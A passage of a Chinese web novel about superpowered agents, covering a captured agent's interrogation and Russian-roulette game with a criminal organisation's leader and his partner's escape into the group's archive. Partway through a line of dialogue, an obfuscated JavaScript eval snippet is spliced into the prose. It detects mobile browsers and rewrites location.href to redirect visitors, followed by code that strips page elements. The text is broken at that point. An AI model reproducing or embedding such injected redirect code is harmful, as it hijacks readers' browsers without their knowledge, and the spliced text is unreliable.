她本来就因恐惧有所动摇。恐吓,威胁、以及压倒性的暴力,现在只要给她一个借口,反复向她灌输是组织先背弃了她,这样一来,她很容易就会妥协—— 苏子沫轻轻地笑了,黑暗的阴影却给这笑容蒙上了层冰冷的色彩。他没有直入主题,只是说: “对于积极协助的人,我们这边 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“实际上,恐怕你敬爱的首领早就想好要把你推出去了。你的能力和我重合,但又是不完整版的下级替代品,用你这张牌来换我,的确是个不错的选择。哈哈,你说,在这样的组织里,有没有前途呢?有时候,人是身不由己的,因为种种外力总会限制你的想法,你的走向…倒也不怪你的犹豫,相反,我很理解。你的任务已经失败,假如我当场抓捕你,你的下场无疑是死罪。不过嘛…” 苏子沫看着女人的表情变化,露出了轻快的笑容。 “你也可以选择帮我一个小忙。无论谁赢,你都是胜利者。” 在冗长的沉默中,女人的眼神闪了闪,嗫嚅着说: “…什么忙?” “我的要求很简单…只要……” 青年带着笑意的声音像是恶魔在低语。短短的几句话,女人却仿佛得知了什么骇人的事实,用力吞咽了一口唾沫,全身都在因发冷而出汗。 “…可以是可以……只是,你为什么要这么做?这明明对你毫无好处…” 苏子沫伸出手,微微下压比了个收声的手势,在女人的目瞪口呆中解除了对他们的束缚。 “不要在意…这只是一个小花招。” 他从口袋里掏出手机,毫不迟疑地松了手。但青年看都没看一眼,任凭它从几十楼的高度坠落,粉身碎骨。 “带我走吧。” “你……” 苏子沫慢条斯理地把身上的定位芯片一一翻了出来,把这些小东西捏碎清理掉。 “怎么了?你们肯定有屏蔽装置,不过保险起见,我就做得彻底一些吧。” 随后,他举起双手,赫然一幅檄械投降的样子。 “怎么样?” 41. 首领 这是个不大的房间,规格类似小型会议室。装修低调奢华,气息内敛,主调是暗红色。书架两侧并排,顶端直贴天花板,地面则铺有地毯。 会议室中央放着一张长桌,此刻,两侧座椅都被撤下,只留下头尾两端的位置。长桌中心,有一个黑色的手提箱。 “你们待客的风格很特别。” 苏子沫饶有兴味地笑笑。 他简直像是穿上了改版的束缚衣。脖子,手腕,双脚脚踝,都戴着特制的能力抑制装置,并且直接同他身下可推式的铁椅子用皮带连接。饶是如此,几个关节处还是使用了特殊材料加固过的仿皮带,确保被囚者绝无挣脱的可能。 三十分钟前,他在丹凤眼的押送下被带到这里,一片郊区的废弃工厂。从早已荒废的停车场往下走,就能找到一个隐蔽的墙角,按动墙角一个紧急呼叫的标志,墙体就会分开露出下方的甬道。 而见到首领前,他被“请”到了这张椅子上,再由干部推着进入了房间。 “你好朋友,希望你不要介意这些小细节。” 另一头的主座上,还坐着一个人。 他穿着黑色长风衣,端起红酒杯,缓缓倾倒着暗红似血的酒液,半张脸隐没在阴影里。 “因为据我观察,所有不采取些‘非常手段’的人,或者污染者,又或者怪物,下场似乎…都不太好。” “态度。” 苏子沫说,如果不是因为不能动弹,他似乎想耸耸肩: “我的诚意已经展现给您了。不过从你们这里,我所看到的……嗯,只有畏惧,以及贪婪。我知道阁下已经观察我有一段时间了,自以为掌控着局面。不过我还是得说,想谈合作,应该站着说。” “合作?苏先生,先自我介绍一下,这是基本的礼仪。我是洛笛,‘影’的首领。” 洛笛笑了一下,轻轻摇晃着酒杯。 “从我调查到你开始,一直期盼同你见面。” 青年好像想起了什么好笑的事,幽默地笑了笑: “看来我不用做自我介绍。” “……我很好奇,你为什么要留在处理局。你的风格,根本就不是个规则内的人,包括现在。你的姿态,你的眼神,都说明了这一点。” 洛笛没有在意,只是慢悠悠继续说下去。 “谢谢夸奖。” 苏子沫微微一点头,深灰的发丝被照出了金色,顶光昏暗,罕见的蓝眼睛此刻显得温和又谦卑。 “我为什么要留在处理局?” 青年似乎是思索了一番,无谓地歪了歪头。 “因为…我要上学啊。” ? “当然要上学了,没文化是很可怕的事情。”青年煞有介事地点点头,“宪法规定,‘公民有受教育的权利和义务。国家培养青年、少年、儿童在品德、智力、体质等方面全面发展。’受教育权是一项基本人权,是公民所享有的并由国家保障实现的接受教育的权利,是宪法赋予的一项基本权利,公民享受其他文化教育的前提和基础。显然,处理局在国家政策上有特别给予福利的专项计划,在择校上存在很高的优势,并且房贷上…” 男人听着苏子沫的话,渐渐皱起了眉,并且越来越紧。他似乎诡异地被带到了对方的节奏中,开始真的思考起择校、房贷优惠、医保社保等等的奇怪东西,仿佛大脑被强了。洛笛连忙摆摆手打断: “…我知道了,我知道了。我可不可以理解为,只要能提供同等待遇,你无所谓为谁工作。” “Bright!”(聪明) 青年吹了声口哨。 “你只漏了一条:要加上与国家机器敌对的成本。” 男人心领神会地笑了笑,抿了口红酒: “不用担心,我对有才能的人从不吝啬。” “哈哈。” 苏子沫低头笑道:“看来你不是来谈合作。你是要招揽我。” “介意吗?” 男人瞥了一眼蓝眼睛的青年,抽出一根香烟夹在两指之间,右手大拇指按在雕花打火机的滚轮上。 “介意。” “……” 洛笛的手动作顿了顿,僵住了几秒钟。但他当作没有听见,继续点燃了指间的香烟。 “苏先生。在那之前,我想和你坐下来谈一谈。有些事情,要和同类谈才有意思。” “好啊。你要谈什么?” 青年宽和地笑笑。明明是处境更危险的一方,蓝眼睛中却有一股温和平静的包容,仿佛真的在一个阳光灿烂的下午,两名认识许久的老友在对话。 丝丝缕缕的烟雾缓慢地上升,男人满意地微笑: “能力。” 烟雾在半空中轻柔地消散,长桌尽头,两个不同颜色的目光在对视。 冰蓝色的,以及墨绿色。 洛笛指间敲了敲了香烟,抖落一小片灰烬: “我曾想过一个问题:这个世界为什么突然有了怪物,突然有了能力者?如果按照逻辑来说,怪物和能力者其实是一种东西。那么,能力者也是怪物。苏先生,你出生在那个时期的末尾。所以尽管不长,你应该体会过,那是多么疯狂…愚昧而又残酷的年代…越强的人受越大的迫害,无数人上街游行,要求对这些危险分子加以管控。他们冲进住宅,打砸,哄抢,焚烧里面的东西,认为这是在执行正义;无数五花八门的理论和猜想流行于市,他们不懈于用最恶毒的话来讨伐和诅咒这些该死的怪物,尽管事后证明,人们只是在嫉妒自己没有成为‘幸运的人’而已。” “……” 青年只是平静地看着他,没有说话。 于是男人继续说下去: “苏先生,你应该最清楚,那种没来由的恐惧带来的恶意,不是吗?即使为了应对怪物,政府承认了能力者,那也只是一种无奈,一种工具性质的利益交换。我常常想,能力者究竟是人类一场伟大的进化,还是一次分裂的前兆?如果这是一次进化,那么好,又为什么没有消除能力者人类的劣根性,人类社会中的规则仍然框住了他们的心灵?如果这是一次分裂,是否就意味着,我们向着历史潮流前进的行为是完全合理的?” 苏子沫摇摇头,看着男人的绿眼睛: “洛先生,你似乎很迷茫。你的问题很发散,充斥着混乱的情绪和无法自洽的思想。我能否理解为,你被迫害过,对人类怀有天然的不信任,却又为无法脱离人类而痛苦?于是你开始思考,能力者的路,究竟在哪里?至于你的问题,我要回答的是,一元论的零和博弈不应被当成唯一解。” “……” 洛笛垂下眼,看着手中渐渐燃烧的香烟。火点明明灭灭,映照着他沉思的形象。 “你很聪明…苏先生,那么,请回答我:你认为能力者是一种什么样的存在?” “如果是从整体的角度,普通人。” “普通人?” “普通人。” 男人看起来难以理解的样子,缓缓吐出一口烟,目光似乎有 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… “哈,哈哈,哈哈哈哈哈…” 短暂寂静后,空旷的空间被由零星到疯狂的笑声打破了。 “就是啊,您现在才发现?哈哈哈哈!你们这些人,就喜欢玩唯心主义和主观主义的游戏。哼,疯子?瞧,我不过是说了点您也包括在内的东西,您就要叫我疯子。千万不要忘记抓住本质,检验自省,追寻实践,哈哈。您心中难道没有答案吗?您不是一直在引导我往您想要的方向回答吗?洛先生,如果我有心情和您演一通受害者互助会式的情绪认同,那恐怕要花上好几个小时。当然,我们的时间都很宝贵,还是不要浪费在假装配合这种软弱无力的洗脑上。不如直接跳到Z,诶,要我安慰您吗?哈哈哈哈哈哈哈!哦,对了,您好像还没问我个人的角度,那我就告诉你吧…” 苏子沫靠在椅背上仰头大笑,显得诡异又癫狂。可下一秒,青年笑容就陡然消失,冷视对面的男人。紧接着,他又再次歪歪头,露出温和的微笑: “那就是癌症。” “……” 洛笛感受到了一阵头皮都被抓起的恶寒。一瞬间,仿佛对面坐着的不是那个已经毫无反抗能力的俘虏,而是某个非人的“东西”。 可是一眨眼,却又是青年老老实实的模样,用温和而好奇的眼神看着他。 男人不明白为何自己会产生“恐惧”,只能强行镇下心神,解释为面前的家伙是一个极其棘手的存在。单从控场而言,过去他从未遇到这种险些压不住对方、屡屡被打乱节奏的情况。这让他产生了微妙的恼怒情绪,但也说明了苏子沫的价值。 是时候加点砝码了。 他将杯中的葡萄酒一饮而尽。男人打了个响指,桌面的黑色手提箱应声而开。 亮银色左轮.暴露在空气中,躺在另一侧的嵌模内的,是一排与之匹配的45口径子弹。 他不再微笑,而是用冰冷的口气说: “闲话到此结束。呼…苏先生,我要提醒你,首先,你是在我的地盘上。” 洛笛伸出三根手指,讽刺地笑了起来:“第二,你现在根本没有使用能力的条件;第三……处理局恐怕已经注意到你的定位失踪,开始怀疑你了,更别说你的小搭档还在我手上…决定权是我的。” “我现在问你,要不要参与我的游戏?” 42. 轮盘 “我看起来不太像能说‘不’的样子。” 苏子沫低头环顾被束缚装置困在铁椅上的身体,仿佛察觉了什么诡异的笑点,被逗乐了。 “俄罗斯轮盘赌,经典的游戏。” 洛笛从黑箱中拿出左轮,推出转轮,往六个弹槽里不紧不慢地填入一枚子弹,缓缓舒出一口烟。 “向自己开一枪,问对方一个问题;幸运的话,如果没有死,可以选择继续向自己开枪,再问对方一个问题,也可以选择向对方开枪,回答对方一个问题——而后转到对方回合,以此类推。” “我可不认为向你开枪能有什么效果。”苏子沫冷笑一声,“换句话来说,赌的只有我的命。” “当然。谁让现在坐在椅子上的是你,不是吗?” 男人打了个响指,青年右手束缚带与铁椅的连接处随之而开,但腕上的能力限制装置依然紧铐。 苏子沫哈哈一笑:“有道理。我得说,这是你今天所有话中唯一有用的一句。不过,想问什么问题,何必这样大费周章,直接用那东西抵住我的脑门不就行了?便捷迅速,只有好处,没有坏处。” “不不。”洛笛摆了摆手指,笑道,“问题不重要,反应……很重要。况且,枪口抵住太阳穴,你可能会说谎——” “游戏,你不会。” “……” 青年脸上无谓的笑容一点点消融下去,他活动了一下手腕,抄起亮银色的左轮,那是男人上一刻推到他面前的。随后,他旋动转轮,拇指压合,发出清脆的叩击声。 苏子沫将枪口对准太阳穴,微笑道: “那么,你会吗?” 他扣动了扳机。 …… 咔嚓。 枪没有响。无事发生,转轮转动了六分之一格,空弹夹扣合,仿佛八音盒的发条。 男人哈哈大笑:“…当然不会。你的第一个问题结束了,现在是我的环节:你为什么选择坐在这里?” 他从容接过左轮,不紧不慢对自己开了一枪,随后面带微笑,不动声色注视着青年的脸。 人在面临死亡威胁之时,通常也是最接近本性的时刻。 作为游戏的完全劣势方,不合理的规则,一步步迫近的危机,都是压力。 有压力,就有裂痕。 本性良善之人,也许能祥装镇定,但眼神里的某种意义感是藏不住的。 苏子沫的确是绝无仅有的人才,但同样也是一柄悬在组织头顶的利剑。只要青年在回答中暴露出一丝破绽,尽管可惜,他也会毫不犹豫让对方血溅当场。 苏子沫叹了口气。 “和你一样。” 男人眯起眼睛。他把玩着手中左轮,心中杀意渐起。模棱两可的回答已经说明了一切—— “看看你的水准,嗯,或者用你的话来说,测试?” 青年无谓地笑笑,仿佛没有看见洛笛脸上由冰冷转为压抑着惊疑的松动: “很遗憾,如果我不说得清楚些,恐怕阁下没法理解。测试,最拙劣的就是大张旗鼓。这简直就是在告诉对方,‘我要测试了’,污染数据,得不到准确结果。当然,有些情况下,比如要检验对方的抗压能力和应变能力什么的,可以这样做,不过那都是题外话。让对方自以为控制着情况要好得多,就像现在,所有行为都是你自发的。” “……” “其实到此,我已经得出了结论,你确实令人失望。” “绑走我的搭档,我是有些高兴的,这说明你们组织至少有切实的基础,我不介意亲自过来,和你这个所谓的首领谈一谈。” 苏子沫停顿了一下,接着说: “你做的第一件事,就是给我戴上抑制装置,‘请’上这把椅子。前一步还可以,如果让我直接进入组织的基地,未免有些太过愚蠢。但后一步,只能说明你始终把自己放在高位,且已有杀心,展现出这些,对一个有价值的利用对象无疑是致命的。你的组织领导能力简直是一团糟。” 洛笛的脸色由白转青,又由青转黑,捏着烟头的手指不自觉用力。他回忆起青年那句“…我还是得说,想谈合作,最好站着说’,后知后觉地遍体生寒。 “在谈判中,你用来掌控局势的废话太多了。一旦被识破戳穿,就只会起到反效果。似乎你没怎么碰到过这种情况,缺乏应对经验,说明你不擅长处理不利局势;至于游戏,毫无想象力。” 苏子沫讽刺地笑笑,毫不客气。 “随便增加些诸如‘退弹消耗一次回合’,‘查看当前子弹消耗一次回合’,‘对自己再开一枪,持续回合’,‘知道第几颗子弹是否为空消耗一次回合’等等规则,或者和其他诸如猜数字、扑克之类的玩法相结合,都能显著增加博弈性,更好地向我施压,你都没有做;所以我说,‘何必这样大费周章’,以你这样的水准,不如直接逼供得了,那样至少还能节省时间。” “既然你问出了这个问题,我又已经得出了结果,不如就此告诉你,省得你费无用的精力,去揣测我的想法。” 洛笛怒极反笑:“那么你呢?将自己和搭档置于危险境地,决策就合理了吗?请搞清楚,从你坐上这把椅子的那一刻起,她就没用了——” “你恐怕不知道吧?你那个小搭档,已经死了。” 恍惚只是很短一瞬间,可能半秒,又或许连半秒都没有。 死。 对这个词汇,他并不陌生,甚至熟悉到近乎麻木。 他经历过的死,太多,太多了。 或者是完成了任务,在很高的天台坐下,看着万家灯火,打开手上的罐装咖啡,背后全是被自己杀死人们的尸体。又或者只是目睹那一个个怪物或能力者造就的惨烈现场,望着地 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——可她再也听不到了。 青年低下了头。 愤怒,恐惧,还是悔恨? 男人饶有兴味地注视着,却没有等到他料想中的反应。 “哈,哈哈,哈哈哈哈……” 苏子沫居然忍不住大笑起来。他笑得愈发癫狂,到最后肩膀都在颤抖。洛笛警觉地皱眉,就在他耐心到达极限前,青年止住了笑声。 “不错,这倒还算值得夸奖。不过我以为,你会选择在我面前杀了她,或者让我亲自动手——” 青年笑道,表情仍是无动于衷。“目前为止,我的牺牲都不算什么,销毁了定位芯片,也可以把脏水泼到你们头上。这样做既能测试我的反应,也可以提供一本真正的投名状,毕竟一起干过脏事可比虚无缥缈的誓言可靠多了,不是吗?另外,你欠我一颗子弹。” 洛笛脸上的表情终于起了些变化。 许久,他直起身来,而后空旷的房间中,零星的掌声响起。 “我必须承认,”男人笑道,“你是我见过最优秀,也是最疯狂,最不可控的人。” 苏子沫耸耸肩,不可置否。 “你说的确实不错。现在,兑现你刚才的承诺吧。” 洛笛摸出腰间的通信器,笑了笑,冷声命令,“位于基地内部的四级人员请注意,将编号1378的人质带至首领办公室。” “是,属下明白。” 然而,对方沉默了一两秒,声线骤然错愕,颤抖着喊道: “目标……目标已逃逸!重复一遍!目标已逃逸!!” 43. 交锋 “咔哒”一声,牢房的电子门关上了。 没时间留给情绪,见人离开,舒懿立即开始检查自己的随身物品。结果不出所料,空空如也。 没有武器、没有通信设备,笔记本和怀表都被敌人缴获,处于极端的“手无寸铁原始人”形态。 敌人不是傻子,没给她留东西才正常。 舒懿不动声色叹了口气,转而望向四周。 牢房不大,仅有20见方,天花板和墙壁均属不明的灰白发光材质。 内部设施则极其简洁,只有一张桌子、两张椅子,后者分别位于桌子的两侧,都是铁制,且固定在地面上无法移动。 舒懿目光扫过每处角落,飞快整合着脑中信息,心念一动。 这个房间,没有床和厕所。 只要未设置这种基础设施,就绝非长期关押的标配,况且这一张桌子两张椅子的配置…… 她明白了。 这不是牢房,而是审讯室! 没过多久,恐怕就会来人提审她。 机会。舒懿心脏倏然一跳,眯眼镇神。 连单向玻璃都没有,说明对她的重视程度极低,也就是说,到时候极可能依旧由两名白制服押送。她心中顿生规划,干脆抱住自己,缩在椅子后面装哭。 果然,仅过五分钟,审讯室的门就再度开启,比她预想的时间还要短。 一名穿着改版白色制服的男人和一名普通白制服走了进来,前者鼻梁上还架了副黑框眼镜,腰间插着一把手枪形式的武器,不知有何种功能。白制服拿出一副手铐,向前走了两步,显然是示意她背过去,将双手伸出: “把手背在身后,平举。” 舒懿战战兢兢起身,点点头背过去,十分配合地抬起自己双手。这么识时务的态度让白制服也非常满意,他托住舒懿的一只手,就要铐上去,谁知那个一直哭哭啼啼弱不经风的女孩眼神一凛,猛地向后一靠,险些把他砸出脑震荡,同时拧转身体,狠狠踹在对方膝盖弯处!白制服不由自主向下跪倒,舒懿反握住他的手,干脆利落地“咔嚓”合上手铐,抓紧对方头发猛砸前方铁椅,“咣”的一声,白制服彻底丧失了知觉。 这一切仅发生在几秒不到,见冰冷的枪口黑洞洞地注视着自己,审讯官大脑一片空白,只得颤抖着举起双手: “我……我投降,别,别开枪!” 舒懿冷静地说:“背过身,解开虹膜和指纹两道扫描,站在门口,侧身面对着另一侧门框,除解锁的动作以外,双手举起背在脑后。我提醒你一下,3米以内,即使是未受训的普通人,命中目标的概率也很高,假如你想顽抗到底,我可不敢保证……子弹最后会打在哪里。” “好,好的,”审讯官出了一脑门的冷汗,只得配合地解开了牢房的锁,“这样就可以了吧?” 她走以后,一定要第一时间报告…… “很好,”舒懿依旧平举着枪,“转过身。” 没等审讯官吊在嗓子眼的心脏落回胸腔,舒懿就用枪托砸晕了他,审讯官白眼一翻,后颈一凉,就什么都不知道了。 舒懿借他的身体掩住了动作,不让监控拍摄到自己的面部,装作很亲热地挎着他的胳膊,把审讯官给拖进了女厕所,锁住隔间的门,然后迅速地……剥起了人家衣服。 2分钟后,舒懿穿着内部人员的制服,从隔间顶爬了出去,溜出卫生间,混入了人群中。 舒懿心里清楚,尽管她前前后后仅花费了十几分钟时间,常人看来已是不可思议的高效率,但审讯室内的监控可不是吃素的。 最多几分钟,负责监视的人就能觉察异样不对并迅速上报,留给她的时间并不多。 现在的关键是,究竟要把目标设定为“逃出去”,还是“继续深入”? 按照脉搏的体感时间,车程足有一个小时半,其间还不算上晕倒时间和关押时间。并且常识来看,这种见不得人的组织基地,所在地区也通常人烟稀少。 退一万步,就算她成功逃脱,估计也是荒郊野外,被逮回去的可能性极大。 而继续深入呢? …也是笔稳赔不赚,九死一生的买卖。 逃跑失败顶多是升级关押措施,可她要是真获知了什么机密材料,她估计—— 会死。 舒懿周身激灵,头皮一阵发麻,后知后觉的孤独与无助横扫千军地袭击了她,脊背瞬间被冷汗浸湿了。 她天生有些钝感,仿佛天不怕地不怕,但这大部分来源于某种本能的确信——明天当然会来,生命不会突兀结束。 可是,果真如此吗? 舒懿从未像这一刻那样,清晰感知到: 选择将决定她的死活。 怎么办…? 下一步又该怎么做? 奶奶还在家里等她。 不是做梦,不是演电影 她不想死。她不想死。她不能死 —— 就在这连呼吸都凝滞的几秒,舒懿突然想起了苏子沫,想起了那冷立的脊梁,沉静与镇定烙入骨血的背影。 “如果是苏子沫……” 她闭了眼,重新又睁开,琥珀色眸子中,奇迹般多了些笃定。 “如果是他的话,绝对不可能眼睁睁看着,这人执行力极强,性格又剑走偏锋……” 苏子沫大概会第一时间来救她。 舒懿暗中摸着枪柄的手紧了紧。 可她为什么想做执行员? 不就是为了不再彷徨无助,不再后退一步,不再眼睁睁吗? 绝不能等着人救。越是困苦,越是绝处,就越要忘掉依仗这回事,否则弯了脊梁,一辈子都别想直起来。 我是执行员,我是执行员,舒懿默默地想,只要还有一线转机,我就绝不会后退。我是来处置他们的,不是被处置的。 我要赢,绝不只是活下去! 舒懿从人群中钻出,尾随一个改版蓝制服,镇定自若地拐进了一间办公室。 在这种等级森严的组织中,去到资料室必定需要高级权限,白色是最低级,很有可能受阻。但同时,上级人员对下级人员下达指令,下级人员无权过问超越自身权限的区域,这也给了她可乘之机。 这时,那名蓝制服疑惑地转过头来,问了句:“你是来做什么的?” 舒懿清了清嗓子,回道:“在对编号1378的人质审讯过程中,意外获知了重要资料,属下不明确自身是否有知情权,请问长官如何发落。” 无人知晓的是,她按在枪柄上的手心满是冷汗,舒懿不清楚这个谎言的严密性如何,假如被拆穿……她就只能动手了。 估计是她人品大爆发,蓝制服没表达出任何异样,只是眼神一凝:“待我查询一下1378号人质的信息。” 他转过身,似乎要去拿什么,就在这时,舒懿陡然暴起,猛扑过去!她一手勒住他的脖颈,另一只手抽出他腰间枪械,按下安全装置,把枪口抵在他后颈上,冷冷道:“求救、反抗、拖延时间,我就打碎你的喉咙。资料室在哪?三秒钟回答,三、二——” 给人反应的时间越少,说谎的可能性越小,可信度就越高。 “地,地下五层,最里面……别杀我!我——” 舒懿心中窃喜,她蒙对了,携带武器的果然大概率是无能力者! “带我去,还是……要我砍下你的手指,挖出你的眼睛后我自己去?” 舒懿自己都惊讶于这句话的残忍程度,随后心安理得地把这个大锅反手扣到了苏子沫身上,心想一定是跟这个逼待太久受到了精神污染。 “不……求你,别这样做!”蓝制服好像有点慌,但还保持着基本的理智,“好,我配合,你要我做什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385397|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “带我去资料室,不过,我得防止你向其他人求救,”舒懿冷静地说,一边把枪口慢慢下移,用身体彻底挡住,“假如你带错路、呼救、企图抵抗,我就只能用枪打穿你的后心,你要不要猜猜是别人救援快还是子弹快?” …… 双方顺利达成了共识。 没过几分钟,舒懿贴着蓝制服,不紧不慢向目标地点走去。外人看来只是暧昧的上司和下属,谁也想象不到抵着上司后心的其实是冰冷的枪口。 在赶往资料室的途中,舒懿已经发现大批的人员流动,众多白制服从他们身侧匆忙跑过,可似乎……不是来抓她的。 难道是——舒懿眼神闪了闪,心里已经有了答案。 她若无其事地跟着蓝制服上了特殊的直升电梯,目视蓝制服经过两道验证,以某个顺序按动楼层键,又按下紧急制动的红色按钮。 电梯轻微摇晃,随之下行。 “叮”一声,右上方屏幕数字跳为“-5”,不动了。 跨出电梯,迎面而来的又是虹膜和指纹扫描,舒懿提心吊胆地控制着蓝制服通过后,走过一条长长的幽深走廊,来到一扇暗色金属材质的大门前。 这扇大门除了两道扫描,还要刷自己的身份卡,大概级别不足无法进入。门顶嵌着五盏不同颜色的小灯,蓝制服刷卡时,中间那盏蓝.灯亮了一下,勉强达到了标准。 就在她进入大门的一刻,立马被一侧占据半墙的黑屏吸引了视线。 一行行滚动字条不停显示,被顶到最上方,消失,继而重新出现。所用文字竟然是英文,舒懿虽然英文水平良好,但显示屏上大多使用晦涩艰深的术语,她瞪眼看了好几个来回,悲苦地发现原来自己是个文盲。 这个大屏幕上,舒懿能看懂的,只有寥寥数语和字条尾部角标的级别。但这点信息扎进她眼里,却如恐怖的利簇穿透了心脏。 什么? 怪物的变异已经在相当程度上可以被人为引导了吗?! 难怪近来怪物数量激增,这群人把这东西当鱼养了投放,是在收集实验数据!且不管这种行为有多么的草菅人命,如果这个组织真的掌握了引导变异的技术,那他们的下一步,必定会把实验对象转向…… 她内心无比凌乱,脑中一片空白。但很快,毛骨悚然就取代了凝滞的思维,她低声发问: “那个角标为黑色的字条描述的是什么计划?” 先前进入资料室时,大门顶端嵌着五盏小灯,颜色分别是白、绿、蓝、红、黑。 她猜测,“黑色”应该代表最高级别的权限,事实也证明,这项计划的英文后缀是“绝密”。 “我没有权限。” “说谎,”舒懿不假思索,抵着他后背的枪用力了几分,“这种研究需要大量的技术型人员,如果我没猜错,后两个级别对应的是干部和首领,你觉得他们懂研究?目前为止,穿着改版制服的技术型人员,只有你权限最高。” “你很聪明,小姑娘,”蓝制服轻轻叹了口气,“要是我女儿和你一样就好了——但这个我真的不能说,你开枪吧。” 舒懿愣了愣,不明白蓝制服的态度为什么骤然扭转了一百八十度,像患了帕金森: “听着,我搭档已经入侵了这里,大概你们已经走不了了。你在这里配合我,代罪立功,争取从宽处理,还能——” “谢谢你的好意,”蓝制服的目光极其复杂,好像带着一点留恋,又似乎带了一点无奈,像是透过她看见了什么人,“你没带着一颗杀人的心啊。” 话音刚落,蓝制服突然暴起,猛地扭身,居然徒手去抓舒懿手中武器的枪柄。他动作凌乱无章,全然不像是个受过专业训练的人,舒懿侧身一旋,干脆放弃了手中的枪,一格一扣,重新把蓝制服摁倒在地。 然而,就在此时,她听见了脚步声。 44.测试 诡异的寂静短暂充斥了空间,两人一站一坐,都没有说话。 只剩通讯器的电流在滋滋作响。 灰发垂下,隐没了双眼。苏子沫垂首不语,良久,他噗嗤笑出了声,轻呵一口气。 “……” 男人从头到脚的汗毛都炸了起来。 他很笃定,自己绝对未曾移开过视线,可椅子上的人…不见了。 无论是加固过的仿皮带,还是质比坚金的能力抑制装置,都被某种巨大的力量扭曲,从中部断裂。洛笛极力压制住自己略显急促的呼吸和心跳,缓缓拉开架势防御。 市面上流通的能力抑制装置,大致分为两种。 前者原理是降低或切断能力者同能量的感应,后者则是单纯抑制能量的强度,保险起见,两种他都用上了,怎么—— 洛笛不敢动,进攻会出现漏洞,他能爬到今天的位置,全仰仗他滴水不漏、缜密精细的战斗风格。 头顶传来轻微动静。男人瞳孔骤缩,声音传至的刹那,他抓住破绽发动扑杀。 狭小室内本不可能产生气流,然而暴风狂溢。洛笛周身爆发出一股强横的能量,风刀疾利,交错如雨,向周遭的全部空间笼罩过去! 风刃.骤雨长光。 “非常不错,在这种封闭空间内几乎避无可避,”烟雾中青年的声音忽远忽近,他顿了顿,“对你而言,语言同样是伪装自身的武器,激怒对手,或者让其轻视自己。先前被我打断的示弱,恐怕也是伪装吧?从你的行事风格和战斗风格来看,确实——” 洛笛猛地回头。 这一击唯一弱点就是后背,苏子沫居然能在风刃切割的零点几秒内穿越刃网,完美找到了骤雨长光唯一的缺陷,简直如同毒蛇咬住了猎物的喉咙。 “……也就该在这个位置。” 苏子沫松开手,洛笛肩骨发出“咔嚓”一声脆响,大概是折断了。男人两眼一黑,知觉尽失,受力点一旦放开,身体便颓然软倒,几秒后跌瘫在地。 可是,青年却转向了后方。 无声无息之间,被切成一片狼藉的长桌尽头,竟已站着第三个人。 不知多久,何时出现,又目睹了多少。 “你是怎么发现的?” 黑影开口,是清越动听的女声。 慢而沉,带了一点好奇,却又像什么都不在意似的。 尘灰散尽,红裙显露,只是那双丹凤眼中,气质已然翻转。 “最简单的指标,能量水平。”苏子沫简短回答,“一开始,无论如何这几道装置还是影响了我的感知,不过挣脱后,我立刻发现,你们的能量水平根本不匹配。你才是首领。” “自我介绍就不必了。”女人柔软地笑,“认识一下,我是洛笛。” 苏子沫歪头,默默地看着她,冰蓝色瞳孔中空荡荡的,什么都没有。 “我知道你在疑问什么。” 洛笛挥挥手指。椅片本已散碎在地,此刻浮了起来,重组为两把完好无缺的高背椅,一把置于青年身后,一把留给自己。 “请坐。” 苏子沫没有坐。 他说:“我没时间。你要反抗吗?” “去找你的小搭档?” “你借刀杀人的账我还没算。”青年冷冷睨她,“她的东西在哪?” “这里。” 洛笛坦然摊手,苏子沫勾勾手指,一把抄住。 “好细心。”她赞叹一声,竟似乎是由衷的,“不枉这上面半本内容都和你有关——” “我现在随时可以杀了你。” 洛笛缩缩脖子,埋怨又宽容地一笑,不说话了。 “你应该也清楚,这里没人拦得住我,假如你想耍什么花招……”苏子沫略微弯下腰,把舒懿杂七杂八的东西收好,放进口袋,而后指了指脑门,“念波可不会客气,明白了吗?” 他轻轻笑了一下。 洛笛审时度势本领过硬,仅是闻言一笑,端出纹丝不动的目光对着苏子沫: “那可太糟糕了,我想你是希望我下令不许伤害她吧?” “是。” 青年居然承认了。 他垂下眼,冰蓝色瞳孔幽深,仿佛藏着万里冰川。 “我只想带她回去,至于你们组织的运作,酝酿着什么阴谋,会造成什么样的后果……” “其实我并不在乎。” “…有点意外。我的测试不能说是成功,似乎有些太成功了。”她轻笑道,对通信器命令,“所有人员,不得伤害编号1378的人质,重复一遍,抓捕过程中,不得伤害编号1378的人质。” 她向青年亮出通讯界面,表示自己确实下令,神情竟有些无辜。 苏子沫轻点下颌示意收到,半句不多留,立即动身离去。 洛笛勾起了嘴角。 可未曾持续几秒,皮肤贴合的衣料处,某种硬物触感咯嚓一声,分裂为小块冰凉。她心脏猛跳,分明目不可及的暗处,通信器和…录音装置竟一齐被捏了个粉碎! “没有下次。” 他的能力分明不是探测电波,怎么能—— 还好,苏子沫只是警告,并未追究。 心跳逐渐平复,目视青年背影消失在拐角,洛笛不由舒出一口气。 “…哦。” 女人端坐在椅子上,只是微微眯了眯眼,就想明白了青年究竟是如何察觉。 他大概是从她的角度,考虑自己会怎么挽回局面。况且,给予抓住把柄的希望,让她配合他下令,可以更好节省时间…… 真是煞费苦心。 …… 舒懿听见了极轻的脚步声。 不紧不慢,万幸应该还没发现她,这只不过是个来资料室取资料的人。 已经没时间供她同蓝制服磨磨蹭蹭了,舒懿猛地一撑地面,勒住蓝制服的脖子,从地上弹了起来,一脚踢飞了掉在地面上的枪,另一只手灵巧地抄住手枪插入腰间,把他拖到放置着层层叠叠资料架子后的角落里,一把捂住蓝制服的嘴。 而同一时间,门开了。 透过资料间的缝隙,她勉强看清了来人。 原来这群人不只一个——为首是个身形消瘦的男子,白色实验服袖口随随便便挽着,显得有点不修边幅。舒懿注意到,他所身着的白色实验服不属于两种白色制服中的任何一种,更偏向正规科学家的服饰。 “命令下来了,把VPBP-1至VPBP-16号的原液全部带走,实验数据拷贝后销毁,其他资料保留,通知立刻撤离。” VPBP-1至VPBP-16 ? 